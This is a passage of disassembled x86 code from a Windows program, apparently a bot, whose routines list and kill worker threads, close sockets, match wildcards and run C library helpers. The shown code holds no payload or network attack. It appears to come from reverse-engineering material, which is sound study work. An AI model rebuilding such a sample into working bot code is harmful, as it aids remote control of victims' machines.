; Attributes: bp-based frame
sub_416B37 proc near ; CODE XREF: sub_416AE5+38p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0
push [ebp+arg_8]
push offset aThreadList ; "-[Thread List]-"
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D476
add esp, 14h
xor edi, edi
mov esi, offset dword_444368
loc_416B61: ; CODE XREF: sub_416B37+78j
cmp byte ptr [esi], 0
jz short loc_416BA2
cmp [ebp+arg_C], 0
jnz short loc_416B75
cmp dword ptr [esi+204h], 0
jnz short loc_416BA2
loc_416B75: ; CODE XREF: sub_416B37+33j
push esi
push edi
lea eax, [ebp+var_200]
push offset aD_S ; "%d. %s"
push eax
call sub_416FB6
push 1
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D476
add esp, 24h
loc_416BA2: ; CODE XREF: sub_416B37+2Dj
; sub_416B37+3Cj
add esi, 234h
inc edi
cmp esi, offset dword_4890F8
jl short loc_416B61
pop edi
pop esi
leave
retn
sub_416B37 endp
; =============== S U B R O U T I N E =======================================
sub_416BB5 proc near ; CODE XREF: sub_40EC43+4D99p
; sub_416C3D+12p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
xor ebx, ebx
xor ebp, ebp
cmp esi, ebx
jle short loc_416C37
cmp esi, 1F4h
jge short loc_416C37
imul esi, 234h
push edi
push ebx
lea edi, dword_44457C[esi]
push dword ptr [edi]
call dword_423168 ; TerminateThread
cmp [edi], ebx
jz short loc_416BE7
inc ebp
loc_416BE7: ; CODE XREF: sub_416BB5+2Fj
mov [edi], ebx
lea edi, dword_444570[esi]
mov dword_444568[esi], ebx
mov dword_44456C[esi], ebx
mov eax, [edi]
cmp eax, ebx
jbe short loc_416C08
push eax
call sub_4151A1
pop ecx
loc_416C08: ; CODE XREF: sub_416BB5+4Aj
mov [edi], ebx
lea edi, dword_444574[esi]
mov byte ptr dword_444368[esi], bl
mov byte_444580[esi], bl
push dword ptr [edi]
call dword_43EBBC ; closesocket
lea esi, dword_444578[esi]
mov [edi], ebx
push dword ptr [esi]
call dword_43EBBC ; closesocket
mov [esi], ebx
pop edi
loc_416C37: ; CODE XREF: sub_416BB5+Dj
; sub_416BB5+15j
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_416BB5 endp
; =============== S U B R O U T I N E =======================================
sub_416C3D proc near ; CODE XREF: sub_40AA70:loc_40AA94p
; sub_40D1A2+18p ...
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov esi, offset dword_444368
loc_416C49: ; CODE XREF: sub_416C3D+2Aj
cmp byte ptr [esi], 0
jz short loc_416C5A
push edi
call sub_416BB5
test eax, eax
pop ecx
jz short loc_416C5A
inc ebx
loc_416C5A: ; CODE XREF: sub_416C3D+Fj
; sub_416C3D+1Aj
add esi, 234h
inc edi
cmp esi, offset dword_4890F8
jl short loc_416C49
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_416C3D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416C6F proc near ; CODE XREF: sub_40EC43+1DA9p
; sub_40EC43+1E1Ap ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], ebx
mov esi, offset dword_44456C
loc_416C83: ; CODE XREF: sub_416C6F+43j
mov eax, [esi-4]
cmp eax, [ebp+arg_0]
jnz short loc_416CA5
test edi, edi
jle short loc_416C97
cmp [esi], edi
jz short loc_416C97
cmp ebx, edi
jnz short loc_416CA5
loc_416C97: ; CODE XREF: sub_416C6F+1Ej
; sub_416C6F+22j
push ebx
call sub_416BB5
test eax, eax
pop ecx
jz short loc_416CA5
inc [ebp+var_4]
loc_416CA5: ; CODE XREF: sub_416C6F+1Aj
; sub_416C6F+26j ...
add esi, 234h
inc ebx
cmp esi, offset dword_4892FC
jl short loc_416C83
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_416C6F endp
; =============== S U B R O U T I N E =======================================
sub_416CBC proc near ; CODE XREF: sub_40702C+Bp
; sub_4070A3+2Dp ...
arg_0 = dword ptr 4
xor eax, eax
mov ecx, offset dword_444568
loc_416CC3: ; CODE XREF: sub_416CBC+1Cj
mov edx, [ecx]
cmp edx, [esp+arg_0]
jnz short loc_416CCC
inc eax
loc_416CCC: ; CODE XREF: sub_416CBC+Dj
add ecx, 234h
cmp ecx, offset dword_4892F8
jl short loc_416CC3
retn
sub_416CBC endp
; =============== S U B R O U T I N E =======================================
sub_416CDB proc near ; CODE XREF: sub_40EC43+5647p
arg_0 = dword ptr 4
xor eax, eax
xor edx, edx
mov ecx, offset dword_444568
push esi
loc_416CE5: ; CODE XREF: sub_416CDB+1Fj
mov esi, [ecx]
cmp esi, [esp+4+arg_0]
jz short loc_416CFE
add ecx, 234h
inc edx
cmp ecx, offset dword_4892F8
jl short loc_416CE5
pop esi
retn
; ---------------------------------------------------------------------------
loc_416CFE: ; CODE XREF: sub_416CDB+10j
mov eax, edx
pop esi
retn
sub_416CDB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416D02 proc near ; CODE XREF: sub_40EC43+5D54p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 200h
xor eax, eax
cmp [ebp+arg_1C], eax
jz short loc_416D1B
push [ebp+arg_1C]
call sub_41751F
pop ecx
loc_416D1B: ; CODE XREF: sub_416D02+Ej
push eax
push [ebp+arg_18]
call sub_416C6F
pop ecx
test eax, eax
pop ecx
jle short loc_416D47
push eax
lea eax, [ebp+var_200]
push [ebp+arg_14]
push [ebp+arg_10]
push offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s) stopped.)"...
push eax
call sub_416FB6
add esp, 14h
jmp short loc_416D61
; ---------------------------------------------------------------------------
loc_416D47: ; CODE XREF: sub_416D02+26j
push [ebp+arg_14]
lea eax, [ebp+var_200]
push [ebp+arg_10]
push offset aSNoSThreadFoun ; "%s: No %s thread found."
push eax
call sub_416FB6
add esp, 10h
loc_416D61: ; CODE XREF: sub_416D02+43j
cmp [ebp+arg_C], 0
jnz short loc_416D81
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D476
add esp, 14h
loc_416D81: ; CODE XREF: sub_416D02+63j
lea eax, [ebp+var_200]
push eax
call sub_40BD8D
pop ecx
leave
retn
sub_416D02 endp
; =============== S U B R O U T I N E =======================================
sub_416D90 proc near ; CODE XREF: sub_401000+A2p
; sub_401444+8Dp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
imul eax, 234h
mov dword_44457C[eax], ecx
mov dword_444568[eax], ecx
mov dword_44456C[eax], ecx
mov dword_444570[eax], ecx
mov dword_444574[eax], ecx
mov dword_444578[eax], ecx
mov byte ptr dword_444368[eax], cl
mov byte_444580[eax], cl
retn
sub_416D90 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416DCD proc near ; CODE XREF: sub_40EC43+6158p
; sub_416EF5+61p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
xor eax, eax
push esi
mov esi, [ebp+arg_0]
inc eax
jmp short loc_416E2F
; ---------------------------------------------------------------------------
loc_416DD9: ; CODE XREF: sub_416DCD+66j
cmp eax, 1
jnz short loc_416E40
mov edx, [ebp+arg_4]
mov dl, [edx]
test dl, dl
jz short loc_416E40
cmp cl, 2Ah
jz short loc_416E18
cmp cl, 3Fh
jz short loc_416DFD
cmp cl, 5Bh
jz short loc_416E02
xor eax, eax
cmp cl, dl
setz al
loc_416DFD: ; CODE XREF: sub_416DCD+22j
inc [ebp+arg_4]
jmp short loc_416E2B
; ---------------------------------------------------------------------------
loc_416E02: ; CODE XREF: sub_416DCD+27j
lea eax, [ebp+arg_4]
inc esi
push eax
lea eax, [ebp+arg_0]
push eax
mov [ebp+arg_0], esi
call sub_416E61
mov esi, [ebp+arg_0]
jmp short loc_416E29
; ---------------------------------------------------------------------------
loc_416E18: ; CODE XREF: sub_416DCD+1Dj
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+arg_0]
push eax
call sub_416EF5
mov esi, [ebp+arg_0]
dec esi
loc_416E29: ; CODE XREF: sub_416DCD+49j
pop ecx
pop ecx
loc_416E2B: ; CODE XREF: sub_416DCD+33j
inc esi
mov [ebp+arg_0], esi
loc_416E2F: ; CODE XREF: sub_416DCD+Aj
mov cl, [esi]
test cl, cl
jnz short loc_416DD9
jmp short loc_416E40
; ---------------------------------------------------------------------------
loc_416E37: ; CODE XREF: sub_416DCD+76j
cmp eax, 1
jnz short loc_416E5C
inc esi
mov [ebp+arg_0], esi
loc_416E40: ; CODE XREF: sub_416DCD+Fj
; sub_416DCD+18j ...
cmp byte ptr [esi], 2Ah
jz short loc_416E37
cmp eax, 1
jnz short loc_416E5C
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0
jnz short loc_416E5C
cmp byte ptr [esi], 0
jnz short loc_416E5C
xor eax, eax
inc eax
jmp short loc_416E5E
; ---------------------------------------------------------------------------
loc_416E5C: ; CODE XREF: sub_416DCD+6Dj
; sub_416DCD+7Bj ...
xor eax, eax
loc_416E5E: ; CODE XREF: sub_416DCD+8Dj
pop esi
pop ebp
retn
sub_416DCD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416E61 proc near ; CODE XREF: sub_416DCD+41p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov edx, [ebp+arg_0]
push edi
xor edi, edi
xor eax, eax
mov ecx, [edx]
and [ebp+var_8], edi
inc eax
cmp byte ptr [ecx], 21h
mov [ebp+var_4], eax
jnz short loc_416E82
inc ecx
mov [ebp+var_8], eax
mov [edx], ecx
loc_416E82: ; CODE XREF: sub_416E61+19j
push ebx
push esi
loc_416E84: ; CODE XREF: sub_416E61+77j
mov ecx, [edx]
mov bl, [ecx]
cmp bl, 5Dh
jnz short loc_416E92
cmp [ebp+var_4], eax
jnz short loc_416EDA
loc_416E92: ; CODE XREF: sub_416E61+2Aj
test edi, edi
jnz short loc_416ECF
cmp bl, 2Dh
jnz short loc_416EC3
lea esi, [ecx+1]
mov cl, [ecx-1]
mov al, [esi]
cmp cl, al
jge short loc_416EC3
cmp al, 5Dh
jz short loc_416EC3
cmp [ebp+var_4], edi
jnz short loc_416EC3
mov ebx, [ebp+arg_4]
mov ebx, [ebx]
mov bl, [ebx]
cmp bl, cl
jl short loc_416ECF
cmp bl, al
jg short loc_416ECF
mov [edx], esi
jmp short loc_416ECC
; ---------------------------------------------------------------------------
loc_416EC3: ; CODE XREF: sub_416E61+38j
; sub_416E61+44j ...
mov eax, [ebp+arg_4]
mov eax, [eax]
cmp bl, [eax]
jnz short loc_416ECF
loc_416ECC: ; CODE XREF: sub_416E61+60j
xor edi, edi
inc edi
loc_416ECF: ; CODE XREF: sub_416E61+33j
; sub_416E61+58j ...
inc dword ptr [edx]
and [ebp+var_4], 0
xor eax, eax
inc eax
jmp short loc_416E84
; ---------------------------------------------------------------------------
loc_416EDA: ; CODE XREF: sub_416E61+2Fj
cmp [ebp+var_8], eax
pop esi
pop ebx
jnz short loc_416EE7
mov ecx, eax
sub ecx, edi
mov edi, ecx
loc_416EE7: ; CODE XREF: sub_416E61+7Ej
cmp edi, eax
jnz short loc_416EF0
mov eax, [ebp+arg_4]
inc dword ptr [eax]
loc_416EF0: ; CODE XREF: sub_416E61+88j
mov eax, edi
pop edi
leave
retn
sub_416E61 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416EF5 proc near ; CODE XREF: sub_416DCD+53p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], 1
inc dword ptr [esi]
xor ebx, ebx
jmp short loc_416F25
; ---------------------------------------------------------------------------
loc_416F0F: ; CODE XREF: sub_416EF5+36j
mov dl, [eax]
cmp dl, 3Fh
jz short loc_416F20
cmp dl, 2Ah
jnz short loc_416F32
cmp dl, 3Fh
jnz short loc_416F23
loc_416F20: ; CODE XREF: sub_416EF5+1Fj
inc ecx
mov [edi], ecx
loc_416F23: ; CODE XREF: sub_416EF5+29j
inc dword ptr [esi]
loc_416F25: ; CODE XREF: sub_416EF5+18j
mov ecx, [edi]
mov eax, [esi]
cmp [ecx], bl
jnz short loc_416F0F
jmp short loc_416F32
; ---------------------------------------------------------------------------
loc_416F2F: ; CODE XREF: sub_416EF5+40j
inc eax
mov [esi], eax
loc_416F32: ; CODE XREF: sub_416EF5+24j
; sub_416EF5+38j
cmp byte ptr [eax], 2Ah
jz short loc_416F2F
mov ecx, [edi]
mov dl, [ecx]
cmp dl, bl
jnz short loc_416F54
cmp [eax], bl
jz short loc_416F47
xor eax, eax
jmp short loc_416FB1
; ---------------------------------------------------------------------------
loc_416F47: ; CODE XREF: sub_416EF5+4Cj
cmp dl, bl
jnz short loc_416F54
cmp [eax], bl
jnz short loc_416F54
xor eax, eax
inc eax
jmp short loc_416FB1
; ---------------------------------------------------------------------------
loc_416F54: ; CODE XREF: sub_416EF5+48j
; sub_416EF5+54j ...
push ecx
push eax
call sub_416DCD
pop ecx
test eax, eax
pop ecx
jnz short loc_416F9B
loc_416F61: ; CODE XREF: sub_416EF5+A4j
inc dword ptr [edi]
mov eax, [edi]
jmp short loc_416F73
; ---------------------------------------------------------------------------
loc_416F67: ; CODE XREF: sub_416EF5+86j
cmp cl, 5Bh
jz short loc_416F7D
cmp dl, bl
jz short loc_416F7D
inc eax
mov [edi], eax
loc_416F73: ; CODE XREF: sub_416EF5+70j
mov ecx, [esi]
mov dl, [eax]
mov cl, [ecx]
cmp cl, dl
jnz short loc_416F67
loc_416F7D: ; CODE XREF: sub_416EF5+75j
; sub_416EF5+79j
cmp [eax], bl
jz short loc_416F92
push eax
push dword ptr [esi]
call sub_416DCD
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_416F97
; ---------------------------------------------------------------------------
loc_416F92: ; CODE XREF: sub_416EF5+8Aj
mov [ebp+var_4], ebx
xor eax, eax
loc_416F97: ; CODE XREF: sub_416EF5+9Bj
cmp eax, ebx
jnz short loc_416F61
loc_416F9B: ; CODE XREF: sub_416EF5+6Aj
mov eax, [edi]
cmp [eax], bl
jnz short loc_416FAE
mov eax, [esi]
cmp [eax], bl
jnz short loc_416FAE
mov [ebp+var_4], 1
loc_416FAE: ; CODE XREF: sub_416EF5+AAj
; sub_416EF5+B0j
mov eax, [ebp+var_4]
loc_416FB1: ; CODE XREF: sub_416EF5+50j
; sub_416EF5+5Dj
pop edi
pop esi
pop ebx
leave
retn
sub_416EF5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416FB6 proc near ; CODE XREF: sub_401000+61p
; sub_4010B2+320p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
lea eax, [ebp+arg_8]
mov [ebp+var_14], 42h
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
mov [ebp+var_1C], 7FFFFFFFh
push eax
call sub_419B38
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_416FF6
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_417003
; ---------------------------------------------------------------------------
loc_416FF6: ; CODE XREF: sub_416FB6+36j
lea eax, [ebp+var_20]
push eax
push 0
call sub_419A23
pop ecx
pop ecx
loc_417003: ; CODE XREF: sub_416FB6+3Ej
mov eax, esi
pop esi
leave
retn
sub_416FB6 endp
; =============== S U B R O U T I N E =======================================
sub_417008 proc near ; CODE XREF: sub_401000+2Ep
; sub_401D6D+46p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_438A3C, eax
retn
sub_417008 endp
; =============== S U B R O U T I N E =======================================
sub_417012 proc near ; CODE XREF: sub_4010B2+CBp
; sub_4010B2+13Fp ...
mov eax, dword_438A3C
imul eax, 343FDh
add eax, 269EC3h
mov dword_438A3C, eax
sar eax, 10h
and eax, 7FFFh
retn
sub_417012 endp
; =============== S U B R O U T I N E =======================================
sub_417030 proc near ; CODE XREF: sub_4010B2+281p
; sub_401444+180p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_8]
mov ecx, [esp+arg_0]
test edx, edx
jz short loc_417083
xor eax, eax
mov al, [esp+arg_4]
push edi
mov edi, ecx
cmp edx, 4
jb short loc_417077
neg ecx
and ecx, 3
jz short loc_417059
sub edx, ecx
loc_417053: ; CODE XREF: sub_417030+27j
mov [edi], al
inc edi
dec ecx
jnz short loc_417053
loc_417059: ; CODE XREF: sub_417030+1Fj
mov ecx, eax
shl eax, 8
add eax, ecx
mov ecx, eax
shl eax, 10h
add eax, ecx
mov ecx, edx
and edx, 3
shr ecx, 2
jz short loc_417077
rep stosd
test edx, edx
jz short loc_41707D
loc_417077: ; CODE XREF: sub_417030+18j
; sub_417030+3Fj ...
mov [edi], al
inc edi
dec edx
jnz short loc_417077
loc_41707D: ; CODE XREF: sub_417030+45j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_417083: ; CODE XREF: sub_417030+Aj
mov eax, [esp+arg_0]
retn
sub_417030 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417090 proc near ; CODE XREF: sub_4010B2+22Dp
; sub_4010B2+23Ep ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_4170B0
cmp edi, eax
jb loc_417228
loc_4170B0: ; CODE XREF: sub_417090+16j
test edi, 3
jnz short loc_4170CC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_4170EC
rep movsd
jmp off_4171D8[edx*4]
; ---------------------------------------------------------------------------
loc_4170CC: ; CODE XREF: sub_417090+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_4170E4
and eax, 3
add ecx, eax
jmp dword ptr loc_4170EC+4[eax*4]
; ---------------------------------------------------------------------------
loc_4170E4: ; CODE XREF: sub_417090+46j
jmp dword ptr loc_4171E8[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_4170EC: ; CODE XREF: sub_417090+31j
; sub_417090+8Ej ...
jmp off_41716C[ecx*4]
; ---------------------------------------------------------------------------
db 90h
dd offset loc_417100
dd offset loc_41712C
dd offset loc_417150
; ---------------------------------------------------------------------------
loc_417100: ; DATA XREF: sub_417090+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_4170EC
rep movsd
jmp off_4171D8[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41712C: ; DATA XREF: sub_417090+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_4170EC
rep movsd
jmp off_4171D8[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_417150: ; DATA XREF: sub_417090+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_4170EC
rep movsd
jmp off_4171D8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41716C dd offset loc_4171CF ; DATA XREF: sub_417090:loc_4170ECr
dd offset loc_4171BC
dd offset loc_4171B4
dd offset loc_4171AC
dd offset loc_4171A4
dd offset loc_41719C
dd offset loc_417194
dd offset loc_41718C
; ---------------------------------------------------------------------------
loc_41718C: ; CODE XREF: sub_417090:loc_4170ECj
; DATA XREF: sub_417090+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_417194: ; CODE XREF: sub_417090:loc_4170ECj
; DATA XREF: sub_417090+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_41719C: ; CODE XREF: sub_417090:loc_4170ECj
; DATA XREF: sub_417090+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_4171A4: ; CODE XREF: sub_417090:loc_4170ECj
; DATA XREF: sub_417090+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_4171AC: ; CODE XREF: sub_417090:loc_4170ECj
; DATA XREF: sub_417090+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_4171B4: ; CODE XREF: sub_417090:loc_4170ECj
; DATA XREF: sub_417090+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_4171BC: ; CODE XREF: sub_417090:loc_4170ECj
; DATA XREF: sub_417090+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_4171CF: ; CODE XREF: sub_417090:loc_4170ECj
; DATA XREF: sub_417090:off_41716Co
jmp off_4171D8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_4171D8 dd offset loc_4171E8 ; DATA XREF: sub_417090+35r
; sub_417090+92r ...
dd offset loc_4171F0
dd offset loc_4171FC
dd offset loc_417210
; ---------------------------------------------------------------------------
loc_4171E8: ; CODE XREF: sub_417090+35j
; sub_417090+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_4171F0: ; CODE XREF: sub_417090+35j
; sub_417090+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4171FC: ; CODE XREF: sub_417090+35j
; sub_417090+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_417210: ; CODE XREF: sub_417090+35j
; sub_417090+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_417228: ; CODE XREF: sub_417090+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41725C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_417250
std
rep movsd
cld
jmp off_417370[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_417250: ; CODE XREF: sub_417090+1B1j
; sub_417090+208j ...
neg ecx
jmp off_417320[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41725C: ; CODE XREF: sub_417090+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_417274
and eax, 3
sub ecx, eax
jmp dword ptr loc_417274+4[eax*4]
; ---------------------------------------------------------------------------
loc_417274: ; CODE XREF: sub_417090+1D6j
; DATA XREF: sub_417090+1DDr
jmp off_417370[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_417287+1
; ---------------------------------------------------------------------------
test al, 72h
inc ecx
add al, dl
jb short loc_4172C8
loc_417287: ; DATA XREF: sub_417090+1ECo
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_417250
std
rep movsd
cld
jmp off_417370[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_417250
std
rep movsd
cld
loc_4172C8: ; CODE XREF: sub_417090+1F5j
jmp off_417370[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_417250
std
rep movsd
cld
jmp off_417370[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_417324
dd offset loc_41732C
dd offset loc_417334
dd offset loc_41733C
dd offset loc_417344
dd offset loc_41734C
dd offset loc_417354
off_417320 dd offset loc_417367 ; DATA XREF: sub_417090+1C2r
; ---------------------------------------------------------------------------
loc_417324: ; DATA XREF: sub_417090+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_41732C: ; DATA XREF: sub_417090+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_417334: ; DATA XREF: sub_417090+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_41733C: ; DATA XREF: sub_417090+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_417344: ; DATA XREF: sub_417090+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_41734C: ; DATA XREF: sub_417090+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_417354: ; DATA XREF: sub_417090+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_417367: ; CODE XREF: sub_417090+1C2j
; DATA XREF: sub_417090:off_417320o
jmp off_417370[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_417370 dd offset loc_417380 ; DATA XREF: sub_417090+1B7r
; sub_417090:loc_417274r ...
dd offset loc_417388
dd offset loc_417398
dd offset loc_4173AC
; ---------------------------------------------------------------------------
loc_417380: ; CODE XREF: sub_417090+1B7j
; sub_417090:loc_417274j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_417388: ; CODE XREF: sub_417090+1B7j
; sub_417090:loc_417274j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_417398: ; CODE XREF: sub_417090+1B7j
; sub_417090:loc_417274j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4173AC: ; CODE XREF: sub_417090+1B7j
; sub_417090:loc_417274j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_417090 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4173D0 proc near ; CODE XREF: sub_4010B2+FCp
; sub_4010B2+118p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_0]
mov ecx, [esp+arg_4]
test edx, 3
jnz short loc_41741C
loc_4173E0: ; CODE XREF: sub_4173D0+3Cj
; sub_4173D0+66j ...
mov eax, [edx]
cmp al, [ecx]
jnz short loc_417414
or al, al
jz short loc_417410
cmp ah, [ecx+1]
jnz short loc_417414
or ah, ah
jz short loc_417410
shr eax, 10h
cmp al, [ecx+2]
jnz short loc_417414
or al, al
jz short loc_417410
cmp ah, [ecx+3]
jnz short loc_417414
add ecx, 4
add edx, 4
or ah, ah
jnz short loc_4173E0
mov edi, edi
loc_417410: ; CODE XREF: sub_4173D0+18j
; sub_4173D0+21j ...
xor eax, eax
retn
; ---------------------------------------------------------------------------
align 4
loc_417414: ; CODE XREF: sub_4173D0+14j
; sub_4173D0+1Dj ...
sbb eax, eax
shl eax, 1
inc eax
retn
; ---------------------------------------------------------------------------
align 4
loc_41741C: ; CODE XREF: sub_4173D0+Ej
test edx, 1
jz short loc_417438
mov al, [edx]
inc edx
cmp al, [ecx]
jnz short loc_417414
inc ecx
or al, al
jz short loc_417410
test edx, 2
jz short loc_4173E0
loc_417438: ; CODE XREF: sub_4173D0+52j
mov ax, [edx]
add edx, 2
cmp al, [ecx]
jnz short loc_417414
or al, al
jz short loc_417410
cmp ah, [ecx+1]
jnz short loc_417414
or ah, ah
jz short loc_417410
add ecx, 2
jmp short loc_4173E0
sub_4173D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_417460 proc near ; CODE XREF: sub_4010B2+19Ep
